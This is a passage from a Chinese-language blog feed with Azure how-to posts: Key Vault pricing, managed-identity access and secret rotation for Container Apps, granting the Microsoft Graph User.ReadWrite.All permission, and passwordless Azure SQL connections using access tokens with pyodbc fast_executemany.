<p class="wp-block-paragraph"><strong>是的，存取 Azure Key Vault 需要花費費用。</strong> 不過別擔心，Key Vault 的計費方式非常特別，它是「以量計價」<strong>，而且</strong>價格極其便宜。對於一般中小型應用程式或資料庫欄位加解密來說，每個月的花費通常<strong>不到幾塊錢台幣（甚至不到 1 元）</strong>。</p>



<p class="wp-block-paragraph">當您使用剛才設定的「標準型/進階型金鑰保險箱」來存放 AES 金鑰（祕密）時，費用主要由以下兩個部分組成：</p>



<h2 class="wp-block-heading">1. 交易費用（操作次數計費）—— 主要花費來源</h2>



<p class="wp-block-paragraph">只要您的 Python 或 Go 程式呼叫一次 SDK 去撈取、寫入金鑰，或是進行加解密，就散算一次「交易 (Operations)」。</p>



<ul class="wp-block-list">
<li><strong>祕密作業（讀取/寫入像您的 AES Key）：</strong>每 10,000 次存取，大約只要 <strong>$0.03 美元</strong>（折合台幣約 <strong>$1 元</strong>）。</li>



<li><strong>金鑰作業（如果您是用進階層的 RSA 金鑰，讓 HSM 幫您做運算）：</strong>標準金鑰每 10,000 次約 $0.03 美元；如果是進階層的 <strong>HSM 金鑰</strong>，每 10,000 次約 <strong>$1 美元</strong>（約台幣 $32 元）。</li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>為什麼您的程式不會花大錢？（省錢關鍵技巧）</strong></p>



<p class="wp-block-paragraph">您的 Container 程式應該只有在**「啟動時」**去 Key Vault 撈取一次 AES 金鑰，並將它常駐在記憶體中。後續資料庫欄位加解密，都是在 Container 內部用記憶體裡的金鑰做運算，<strong>並不會每次解密都去跑一次 Key Vault 連線</strong>。</p>



<p class="wp-block-paragraph">因此，即使您的資料庫每天有幾百萬筆資料在加解密，您對 Key Vault 的存取次數可能一天也只有幾次（當容器重啟時），費用近乎為零。</p>
</blockquote>



<h2 class="wp-block-heading">2. 續存費用（放著不動的租金）</h2>



<p class="wp-block-paragraph">這是指您在 Key Vault 裡面建立金鑰後，每個月放在裡面的保管費。</p>



<ul class="wp-block-list">
<li><strong>祕密 (Secrets)：</strong> 儲存祕密（如您的 AES Base64 字串）是<strong>完全免費</strong>的！微軟不收儲存費，只收上面的存取次數費。</li>



<li><strong>金鑰 (Keys) —— 僅限進階層的 HSM 金鑰：</strong> 如果您在進階層裡建立了一把受硬體保護的 RSA 金鑰，每把金鑰每個月會收取 <strong>$1.00 美元</strong>（約台幣 $32 元）的保管費。</li>
</ul>



<h2 class="wp-block-heading">3. 網路流量費用 (頻寬費用)</h2>



<ul class="wp-block-list">
<li>如果您的 Container 部署在 <strong>Azure 同一個區域</strong>（例如您剛剛截圖中的 <code>japaneast</code> 日本東部），Container 存取同區域的 Key Vault，<strong>網路流量是完全免費的</strong>。</li>



<li>如果您的 Container 在地端機房，每天無休止地拼命讀取 Azure Key Vault，才會收取微乎其微的 Azure 資料外流（Egress）費用。</li>
</ul>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4b0.png" alt="💰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 總結：您大約會花多少錢？</h2>



<p class="wp-block-paragraph">假設您使用的是<strong>標準型金鑰保險箱</strong>，並將 AES 金鑰存放在「祕密」中：</p>



<ul class="wp-block-list">
<li><strong>金鑰租金：</strong> $0 元（祕密免租金）。</li>



<li><strong>存取費用：</strong> 假設您的容器因為自動擴展、更新，一個月重啟並存取了 Key Vault 1,000 次。</li>



<li><strong>每月總帳單：</strong> $0.003 美元（<strong>不到台幣 0.1 元</strong>）。</li>
</ul>



<p class="wp-block-paragraph">因此，把金鑰放進 Key Vault 換取極高的安全性與防遺失保護，是非常划算且必須的投資！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">當您的 Container 運行在 <strong>Azure Container Apps (ACA)</strong> 之下時，您需要授權的對象就是「這台 ACA 應用程式本身」。</p>



<p class="wp-block-paragraph">在 Azure 中，這需要透過啟用 ACA 的 <strong>「受控識別 (Managed Identity)」</strong> 功能來達成。它會幫您的 ACA 在 Microsoft Entra ID (舊稱 Azure AD) 中註冊一個專屬的身分，接著您只要去 Key Vault 授權這個身分即可。</p>



<p class="wp-block-paragraph">以下是完整的設定與授權步驟（推薦使用最簡單且常見的<strong>系統指派受控識別</strong>）：</p>



<h3 class="wp-block-heading">第一步：在 ACA 啟用受控識別 (Managed Identity)</h3>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal，找到並進入您的 <strong>Container App (ACA)</strong> 資源頁面。</li>



<li>在左側選單中，找到「設定」分類下的 <strong>「身分識別 (Identity)」</strong>。</li>



<li>在「系統指派 (System assigned)」標籤頁中，將「狀態 (Status)」切換為 <strong>「開啟 (On)」</strong>。</li>



<li>點擊頁面上的 <strong>「儲存 (Save)」</strong>。</li>



<li>系統會跳出確認視窗，點擊「是」。儲存成功後，畫面上會出現一串專屬於這台 ACA 的 <strong>「主體識別碼 (Object ID / Principal ID)」</strong>。</li>
</ol>



<h3 class="wp-block-heading">第二步：到 Key Vault 對該 ACA 進行授權</h3>



<p class="wp-block-paragraph">由於您先前的 <code>kv-pr-stg-jpe-001</code> 是使用 <strong>Azure RBAC</strong> 權限模型（您先前截圖中藍色勾選的推薦項目），請依照以下步驟授權：</p>



<ol start="1" class="wp-block-list">
<li>前往您的金鑰保險箱 <strong><code>kv-pr-stg-jpe-001</code></strong> 資源頁面。</li>



<li>點擊左側選單的 <strong>「存取控制 (IAM)」</strong>。</li>



<li>點擊上方的 <strong>「+ 新增 (Add)」</strong> ➔ 選擇 <strong>「新增角色指派 (Add role assignment)」</strong>。</li>



<li><strong>選擇角色：</strong> * 搜尋並選擇 <strong><code>Key Vault Secrets User</code>（金鑰保險箱祕密使用者）</strong>。
<ul class="wp-block-list">
<li><em>(說明：因為您的 ACA 容器只需要在啟動時「讀取 (Get)」金鑰，不需要像您之前測試時需要寫入，所以給予 <code>Secrets User</code> 的唯讀權限是最安全的「最小權限原則」)</em>。</li>



<li>選好後點擊 <strong>「下一步」</strong>。</li>
</ul>
</li>



<li><strong>選取成員：</strong>
<ul class="wp-block-list">
<li>「指派存取權給」保持選擇 <strong>「使用者、群組或服務主體」</strong>。</li>



<li>點擊 <strong>「+ 選取成員 (+ Select members)」</strong>。</li>



<li>在右側跳出的搜尋欄中，<strong>直接輸入您這台 Container App (ACA) 的名稱</strong>（或是輸入剛剛在 ACA 看到的 Object ID）。</li>



<li>在搜尋結果中點選您的 ACA，它會顯示在下方列表中，然後點擊「選取」。</li>
</ul>
</li>



<li><strong>檢閱並指派：</strong> 一路點擊「下一步」，最後點擊 <strong>「檢閱並指派 (Review + assign)」</strong>。</li>
</ol>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 程式碼如何自動通訊？</h3>



<p class="wp-block-paragraph">當您完成上述兩步後，您 Python 程式碼中的這一行：</p>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>credential = DefaultAzureCredential()
</code></pre>



<p class="wp-block-paragraph">在 ACA 容器環境內運行到這行時，Azure SDK 會自動執行以下神奇的流程：</p>



<ol start="1" class="wp-block-list">
<li>它會發現自己不是在個人電腦上（沒有 Azure CLI 登入憑證），而是身處於 Azure 雲端環境中。</li>



<li>它會自動向 ACA 的內部端點請求剛才啟用的「系統指派受控識別」權杖（Token）。</li>



<li>拿著這個 Token 去敲 <code>kv-pr-stg-jpe-001</code> 的門。</li>



<li>Key Vault 檢查 IAM 紀錄，發現這台 ACA 擁有 <code>Key Vault Secrets User</code> 權限，於是便放行，將 AES 金鑰安全地回傳給您的 Python 程式。</li>
</ol>



<p class="wp-block-paragraph">整個過程<strong>完全不需要輸入任何帳號密碼，也不需要設定任何 <code>.env</code> 變數</strong>，是目前雲端部署最安全、最高級的做法！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">要更新您儲存在 Azure Key Vault 中的金鑰（祕密）數值，有兩種最常見的方法：<strong>直接在 Azure Portal 網頁上手動更新</strong>，或是<strong>使用 Python 腳本自動更新</strong>。</p>



<p class="wp-block-paragraph">由於 Key Vault 具有「版本控制」功能，當您更新數值時，它不會覆蓋舊的資料，而是會<strong>產生一個全新的版本 (Current Version)</strong>，這能確保如果新金鑰有問題，隨時可以復原。</p>



<p class="wp-block-paragraph">以下為您說明這兩種更新方式：</p>



<h3 class="wp-block-heading">方法一：透過 Azure Portal 網頁手動更新 (最簡單)</h3>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal，進入您的金鑰保險箱 <strong><code>kv-pr-stg-jpe-001</code></strong>。</li>



<li>在左側選單中，點選「物件」分類下的 <strong>「祕密 (Secrets)」</strong>。</li>



<li>在列表中點選您之前建立的祕密名稱：<strong><code>projectname-database-column-aes-key</code></strong>。</li>



<li>進入後，您會看到目前現有的版本列表。請點擊上方的 <strong>「+ 新增版本 (New Version)」</strong> 按鈕。</li>



<li>在 <strong>「祕密值 (Secret value)」</strong> 欄位中，<strong>貼上您新產生的 AES Base64 字串</strong>。</li>



<li>其他設定（如啟用日期、到期日）保持預設，直接點擊底部的 <strong>「建立 (Create)」</strong>。</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>手動更新完就結束了嗎？</strong></p>



<p class="wp-block-paragraph">沒錯！因為您的 Python / Go 程式碼在呼叫 <code>client.get_secret("secret_name")</code> 時，如果沒有指定特定的版本識別碼，Azure SDK <strong>預設永遠會自動下載最新生效的版本 (Latest/Current Version)</strong>。當您的 ACA 容器下次重啟時，就會自動吃進這把新金鑰。</p>
</blockquote>



<h3 class="wp-block-heading">方法二：使用 Python 腳本自動更新</h3>



<p class="wp-block-paragraph">如果您希望定期透過自動化程式或排程來更新 Key Vault 裡的數值，可以使用當初幫您設定的 <code>SecretClient</code>。在 Python 中，不論是「第一次建立」還是「後續更新」，使用的都是同一個方法：<strong><code>set_secret</code></strong>。</p>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f40d.png" alt="🐍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Python 更新腳本範例：</h4>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>import base64
import os
from azure.identity import DefaultAzureCredential
from azure.keyvault.secrets import SecretClient

def generate_new_aes_key():
    """產生一組全新的隨機 AES-256 金鑰 Base64 字串"""
    raw_key = os.urandom(32)
    return base64.b64encode(raw_key).decode('utf-8')

def update_key_vault_secret(new_value):
    vault_url = "https://kv-pr-stg-jpe-001.vault.azure.net/"
    secret_name = "projectname-database-column-aes-key"
    
    # 這裡會使用您電腦上的 Azure CLI 登入身分
    # 請確保您的帳號目前在該 Key Vault 的 IAM 擁有「Key Vault Secrets Officer」角色
    credential = DefaultAzureCredential()
    client = SecretClient(vault_url=vault_url, credential=credential)
    
    print(f"正在將新金鑰更新至 Key Vault 中的 '{secret_name}'...")
    
    # set_secret 如果遇到同名的祕密，會自動為其建立一個「最新版本」
    updated_secret = client.set_secret(secret_name, new_value)
    
    print("【成功】金鑰已成功更新！")
    print(f"新版本識別碼 (Version ID): {updated_secret.properties.version}")

if __name__ == "__main__":
    # 1. 產生新的金鑰值
    new_aes_key = generate_new_aes_key()
    
    # 2. 推送到 Azure Key Vault
    update_key_vault_secret(new_aes_key)
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 更新金鑰（輪替 Key）的資安與系統注意事項</h3>



<p class="wp-block-paragraph">當您更新了 <code>projectname-database-column-aes-key</code> 之後，系統中會存在一個<strong>新舊金鑰交替的過渡期</strong>，請務必注意以下邏輯：</p>



<ol start="1" class="wp-block-list">
<li><strong>舊資料的解密問題：</strong>之前已經用「舊金鑰」加密並存進資料庫的資料，用「新金鑰」是<strong>絕對解不開</strong>的。</li>



<li><strong>正確的輪替 (Rotation) 策略：</strong>
<ul class="wp-block-list">
<li><strong>新資料：</strong> 程式重啟、讀取新金鑰後，所有「新寫入」的資料庫欄位都會用新金鑰加密。</li>



<li><strong>舊資料讀取：</strong> 如果您有定期更換金鑰的需求，通常會建議在資料庫的密文欄位旁，多開一個欄位紀錄「金鑰版本」。或者，在更新 Key Vault 的當下，寫一支遷移程式（Migration Script）把資料庫現有的密文全部用舊金鑰解開、再用新金鑰重新加密塞回去。</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/05/azure-key-vault/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure Portal 設定 User.ReadWrite.All 應用程式權限</title>
		<link>https://stackoverflow.max-everyday.com/2026/05/azure-portal-user-readwrite-all/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/05/azure-portal-user-readwrite-all/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 27 May 2026 05:25:21 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8474</guid>

					<description><![CDATA[沒問題！以下是為您整理的 Microsoft A...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="589" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r-1024x589.jpg?v=1779859492" alt="" class="wp-image-8476" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r-1024x589.jpg?v=1779859492 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r-600x345.jpg?v=1779859492 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r-768x442.jpg?v=1779859492 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r-1536x883.jpg?v=1779859492 1536w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-13-24-8r.jpg?v=1779859492 1736w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">沒問題！以下是為您整理的 Microsoft Azure 門戶（Azure Portal）設定 <code>User.ReadWrite.All</code> 應用程式權限的詳細步驟指南：</p>



<h3 class="wp-block-heading">步驟 1：進入 App Registrations (應用程式註冊)</h3>



<ol start="1" class="wp-block-list">
<li>登入 <a href="https://www.google.com/search?q=https://portal.azure.com/" target="_blank" rel="noreferrer noopener">Azure Portal</a>。</li>



<li>在頂部搜尋列輸入 <strong>「App registrations」</strong>（應用程式註冊）並點選進入。</li>



<li>在清單中，點選您目前正在開發、需要調整權限的那一個<strong>應用程式名稱</strong>。</li>
</ol>



<h3 class="wp-block-heading">步驟 2：新增 API 權限</h3>



<ol start="1" class="wp-block-list">
<li>進入應用程式頁面後，點選左側選單的 <strong>API permissions</strong>（API 權限）。</li>



<li>在右側主畫面中，點選 <strong>+ Add a permission</strong>（+ 新增權限）。</li>
</ol>



<h3 class="wp-block-heading">步驟 3：選擇 Microsoft Graph 與權限類型</h3>



<ol start="1" class="wp-block-list">
<li>在彈出的「Request API permissions」右側視窗中，點選最上方的 <strong>Microsoft Graph</strong>。</li>



<li>接下來系統會詢問您的應用程式需要哪種權限類型，請點選 <strong>Application permissions</strong>（應用程式權限）。<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>為什麼選這個？</strong> 因為密碼寫入與背景自動化服務需要 Application 類型（也就是以應用程式自身身分執行），原本的 <code>User.Read.All</code> 或委派權限（Delegated）是不夠的。</li>
</ol>



<h3 class="wp-block-heading">步驟 4：搜尋並勾選 <code>User.ReadWrite.All</code></h3>



<ol start="1" class="wp-block-list">
<li>在下方的搜尋欄位中輸入：<code>User.ReadWrite.All</code>。</li>



<li>展開 <strong>User</strong> 群組，<strong>勾選</strong> <code>User.ReadWrite.All</code> 前方的正方形欄位。</li>



<li>勾選完畢後，點選最下方的 <strong>Add permissions</strong>（新增權限）按鈕。</li>
</ol>



<h3 class="wp-block-heading">步驟 5：授予管理員同意 (Grant Admin Consent)</h3>



<p class="wp-block-paragraph">這是最關鍵的一步，沒有點擊的話權限將不會生效：</p>



<ol start="1" class="wp-block-list">
<li>回到 API permissions 主頁面後，您會看到新加入的 <code>User.ReadWrite.All</code> 狀態顯示為三角形的「Not granted&#8230;」（尚未同意）。</li>



<li>點選權限清單上方的 <strong>Grant admin consent for &lt;您的租戶名稱></strong>（授予管理員同意）。</li>



<li>系統彈出確認視窗時，點選 <strong>Yes</strong>（是）。</li>
</ol>



<h3 class="wp-block-heading">檢查最終結果</h3>



<p class="wp-block-paragraph">成功後，該權限的 <strong>Status</strong>（狀態）會變成綠色的打勾記號：<strong>Granted for &lt;您的租戶名稱&gt;</strong>。這樣一來，您的應用程式就擁有透過 <code>PATCH /users/{id}</code> 來修改使用者密碼的權限了！</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/05/azure-portal-user-readwrite-all/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>不用密碼連 Azure SQL：用 Token 驗證搭配 fast_executemany 解決效能瓶頸</title>
		<link>https://stackoverflow.max-everyday.com/2026/05/azure-sql-token-fast_executemany/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/05/azure-sql-token-fast_executemany/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Mon, 25 May 2026 06:05:26 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[mssql]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8468</guid>

					<description><![CDATA[前言 在將本地資料同步到 Azure SQL D...]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">前言</h2>



<p class="wp-block-paragraph">在將本地資料同步到 Azure SQL Database 的專案中，我遇到了兩個問題：</p>



<ol class="wp-block-list">
<li><strong>安全性</strong>：連線字串裡不想寫死帳號密碼</li>



<li><strong>效能</strong>：用 <code>pyodbc</code> 逐筆 UPDATE 速度慢到不行</li>
</ol>



<p class="wp-block-paragraph">這篇文章紀錄我怎麼用 <strong>Azure Managed Identity + Access Token</strong> 取代密碼驗證，並透過 <code>fast_executemany</code> 大幅提升批次寫入效能。同時也整理了幾個常見疑問：有沒有 Token 差在哪、<code>ActiveDirectoryMsi</code> 與手動 Token 有何不同、兩者效能是否有差。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">環境</h2>



<ul class="wp-block-list">
<li>Python 3.11+</li>



<li><code>pyodbc</code> + ODBC Driver 18 for SQL Server</li>



<li><code>azure-identity</code></li>



<li>Azure SQL Database（已啟用 Entra ID / Managed Identity）</li>
</ul>



<pre class="wp-block-code"><code>pip install pyodbc azure-identity</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">問題一：不想在程式裡放密碼</h2>



<h3 class="wp-block-heading">有無 Access Token 的差別</h3>



<p class="wp-block-paragraph">傳統帳密驗證的連線字串長這樣：</p>



<pre class="wp-block-code"><code># 傳統帳密驗證
conn_str = (
    "Driver={ODBC Driver 18 for SQL Server};"
    "Server=your-server.database.windows.net;"
    "Database=your-db;"
    "UID=myuser;"
    "PWD=mypassword;"
)
conn = pyodbc.connect(conn_str)</code></pre>



<p class="wp-block-paragraph">Access Token 驗證則是拿掉帳密，改用 <code>attrs_before</code> 注入 Token：</p>



<pre class="wp-block-code"><code># Access Token 驗證
conn_str = (
    "Driver={ODBC Driver 18 for SQL Server};"
    "Server=your-server.database.windows.net;"
    "Database=your-db;"
    "Encrypt=yes;"
    # 沒有 UID / PWD
)
conn = pyodbc.connect(conn_str, attrs_before={1256: token_struct})</code></pre>



<p class="wp-block-paragraph">兩者的核心差異：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th></th><th>帳密</th><th>Access Token</th></tr></thead><tbody><tr><td>驗證來源</td><td>SQL Server 本地帳號</td><td>Azure Entra ID (AAD)</td></tr><tr><td>密碼管理</td><td>要自己管、要輪換</td><td>由 Azure 管，短效 Token 自動刷新</td></tr><tr><td>程式碼安全</td><td>密碼容易外洩</td><td>無密碼，較安全</td></tr><tr><td>CI/CD / Managed Identity</td><td>需要把密碼塞進環境變數</td><td>直接用 Managed Identity，不需任何密碼</td></tr><tr><td>本機開發</td><td>帳密寫死或讀 <code>.env</code></td><td><code>az login</code> 後自動生效</td></tr></tbody></table></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>一句話總結</strong>：帳密是「你知道什麼」，Token 是「你是誰（身份）」，在雲端環境推薦用 Token，省去密碼管理的麻煩。</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">解法：用 Azure Identity 取得 Access Token</h3>



<p class="wp-block-paragraph"><code>azure-identity</code> 套件提供的 <code>DefaultAzureCredential</code> 可以依序嘗試多種驗證方式（環境變數、Managed Identity、Azure CLI 登入等），在本機開發和正式環境都能無縫切換。</p>



<pre class="wp-block-code"><code>import struct
import pyodbc
from azure.identity import DefaultAzureCredential

# 在程式啟動時初始化一次，讓 Token 可以被快取重複使用
azure_credential = DefaultAzureCredential()

def get_mssql_connection(server, database, driver):
    # 每次建立連線時呼叫 get_token()，有快取就回快取，快到期會自動刷新
    token_object = azure_credential.get_token("https://database.windows.net/.default")

    # pyodbc 要求 Token 必須以特定格式打包
    token_bytes = token_object.token.encode("utf-16-le")
    token_struct = struct.pack(f"&lt;I{len(token_bytes)}s", len(token_bytes), token_bytes)

    # 連線字串不帶 UID/PWD，改用 attrs_before 注入 Token
    # SQL_COPT_SS_ACCESS_TOKEN = 1256
    conn_str = f"Driver={driver};Server={server};Database={database};Encrypt=yes;TrustServerCertificate=no;"
    conn = pyodbc.connect(conn_str, attrs_before={1256: token_struct})
    return conn</code></pre>



<p class="wp-block-paragraph"><strong>關鍵細節：</strong></p>



<ul class="wp-block-list">
<li>Token 必須先用 <code>utf-16-le</code> 編碼，再用 <code>struct.pack</code> 包成 <code>&lt;I{n}s</code> 格式</li>



<li><code>attrs_before={1256: token_struct}</code> 是 pyodbc 注入 <code>SQL_COPT_SS_ACCESS_TOKEN</code> 的方式</li>



<li>連線字串裡<strong>不能</strong>加 <code>Authentication=...</code>，否則會與 Token 驗證衝突</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">補充：<code>Authentication=ActiveDirectoryMsi</code> vs 手動 Access Token</h2>



<p class="wp-block-paragraph">Azure SQL 還有另一種無密碼寫法：在連線字串直接加 <code>Authentication=ActiveDirectoryMsi</code>，讓 ODBC Driver 自己去拿 Token：</p>



<pre class="wp-block-code"><code># ActiveDirectoryMsi 寫法：Driver 自己處理 Token
conn_str = (
    "Driver={ODBC Driver 18 for SQL Server};"
    "Server=your-server.database.windows.net;"
    "Database=your-db;"
    "Authentication=ActiveDirectoryMsi;"
    "Encrypt=yes;"
)
conn = pyodbc.connect(conn_str)</code></pre>



<p class="wp-block-paragraph">兩種方式的比較：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th></th><th><code>ActiveDirectoryMsi</code></th><th>手動 Access Token</th></tr></thead><tbody><tr><td>程式碼複雜度</td><td>簡單，Driver 全包</td><td>需要自己打包 <code>struct</code></td></tr><tr><td>套件依賴</td><td>只需 <code>pyodbc</code></td><td>需要 <code>azure-identity</code></td></tr><tr><td>Token 快取</td><td>Driver 自己管，不透明</td><td>自己控制（全域 credential 物件）</td></tr><tr><td>彈性</td><td>僅限 MSI</td><td>可用任何 Credential（CLI、SP、環境變數…）</td></tr><tr><td>本機開發</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 只能在 Azure 環境跑</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <code>az login</code> 本機也能用</td></tr><tr><td>User-Assigned MSI</td><td>需加 <code>UID=client-id</code></td><td><code>ManagedIdentityCredential(client_id=...)</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">效能有差嗎？</h3>



<p class="wp-block-paragraph"><strong>連線建立後的 SQL 執行效能：完全一樣。</strong> 差別只在取 Token 的開銷，且僅影響建立連線那一刻：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th></th><th><code>ActiveDirectoryMsi</code></th><th>手動 <code>DefaultAzureCredential</code></th></tr></thead><tbody><tr><td>誰去打 IMDS</td><td>ODBC Driver（每次 <code>connect()</code> 都可能觸發）</td><td><code>azure-identity</code>（有記憶體快取）</td></tr><tr><td>Token 快取</td><td>Driver 內部管理，<strong>不透明</strong>，無法控制</td><td>全域 credential 物件自動快取，<strong>明確可控</strong></td></tr><tr><td>快取失效前重連</td><td>可能再打一次 IMDS</td><td>直接回傳快取 Token，<strong>不打網路</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">該選哪個？</h3>



<p class="wp-block-paragraph">實務上幾乎不用思考，<strong>直接選手動管理</strong>就對了——只要記住一個原則：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>每次 <code>connect()</code> 都重新呼叫 <code>get_token()</code>，不要把打包好的 <code>token_struct</code> 存起來重複用。</strong></p>
</blockquote>



<pre class="wp-block-code"><code># &#x274c; 危險：token_struct 是靜態 bytes，1 小時後 Token 過期，重連時會爆
token_struct = pack_token(azure_credential.get_token(...))
# ... 之後某處重新 connect() 但沿用舊的 token_struct

# &#x2705; 正確：每次建立連線時才呼叫 get_token()
def get_conn():
    token = azure_credential.get_token(...)  # 有快取就回快取，快到期自動刷新
    return pyodbc.connect(conn_str, attrs_before={1256: pack_token(token)})</code></pre>



<p class="wp-block-paragraph"><code>azure-identity</code> 的 <code>get_token()</code> 本身有快取，不用擔心每次都打網路，讓它去判斷就好。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">問題二：逐筆 UPDATE 太慢</h2>



<p class="wp-block-paragraph">初版程式是這樣跑的：</p>



<pre class="wp-block-code"><code>for row in rows:
    cursor.execute("UPDATE users SET name = ?, email = ? WHERE account = ?", row)
conn.commit()</code></pre>



<p class="wp-block-paragraph">幾百筆資料就要花好幾秒，每一筆都是一次來回的 network round-trip。</p>



<h3 class="wp-block-heading">解法：<code>executemany</code> + <code>fast_executemany = True</code></h3>



<pre class="wp-block-code"><code>cursor = conn.cursor()

# 啟用 fast_executemany：改用 ODBC 的批次參數傳輸，大幅減少 round-trip
cursor.fast_executemany = True

sql = "UPDATE users SET name = ?, email = ? WHERE account = ?"
cursor.executemany(sql, rows)  # rows 是 list of tuples

conn.commit()</code></pre>



<p class="wp-block-paragraph"><code>fast_executemany</code> 是 pyodbc 的一個優化開關，啟用後會將所有參數打包成一個批次送出，而不是一筆一筆傳送，對幾百到幾千筆的批次操作效果非常明顯。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">完整範例</h2>



<pre class="wp-block-code"><code>import sqlite3
import pyodbc
import os
import struct
from azure.identity import DefaultAzureCredential

SERVER   = "your-server.database.windows.net"
DATABASE = "your-database"
DRIVER   = "{ODBC Driver 18 for SQL Server}"

# 全域初始化一次，Token 快取由 azure-identity 管理
azure_credential = DefaultAzureCredential()


def get_mssql_connection():
    # 每次連線都呼叫 get_token()，讓 azure-identity 決定要不要刷新
    token_object = azure_credential.get_token("https://database.windows.net/.default")
    token_bytes  = token_object.token.encode("utf-16-le")
    token_struct = struct.pack(f"&lt;I{len(token_bytes)}s", len(token_bytes), token_bytes)
    conn_str = (
        f"Driver={DRIVER};Server={SERVER};Database={DATABASE};"
        "Encrypt=yes;TrustServerCertificate=no;"
    )
    return pyodbc.connect(conn_str, attrs_before={1256: token_struct})


def sync_sqlite_to_mssql(sqlite_path: str):
    if not os.path.exists(sqlite_path):
        print(f"SQLite not found: {sqlite_path}")
        return

    with sqlite3.connect(sqlite_path) as sqlite_conn:
        rows = sqlite_conn.execute(
            "SELECT name, email, account FROM employee WHERE status = 'active'"
        ).fetchall()

    if not rows:
        print("No rows to sync.")
        return

    print(f"Syncing {len(rows)} rows...")

    with get_mssql_connection() as mssql_conn:
        cursor = mssql_conn.cursor()
        cursor.fast_executemany = True
        cursor.executemany(
            "UPDATE users SET name = ?, email = ? WHERE account = ?",
            rows,
        )
        mssql_conn.commit()

    print("Done.")


if __name__ == "__main__":
    sync_sqlite_to_mssql("portal.db")</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">前置設定：讓 Managed Identity 能存取 Azure SQL</h2>



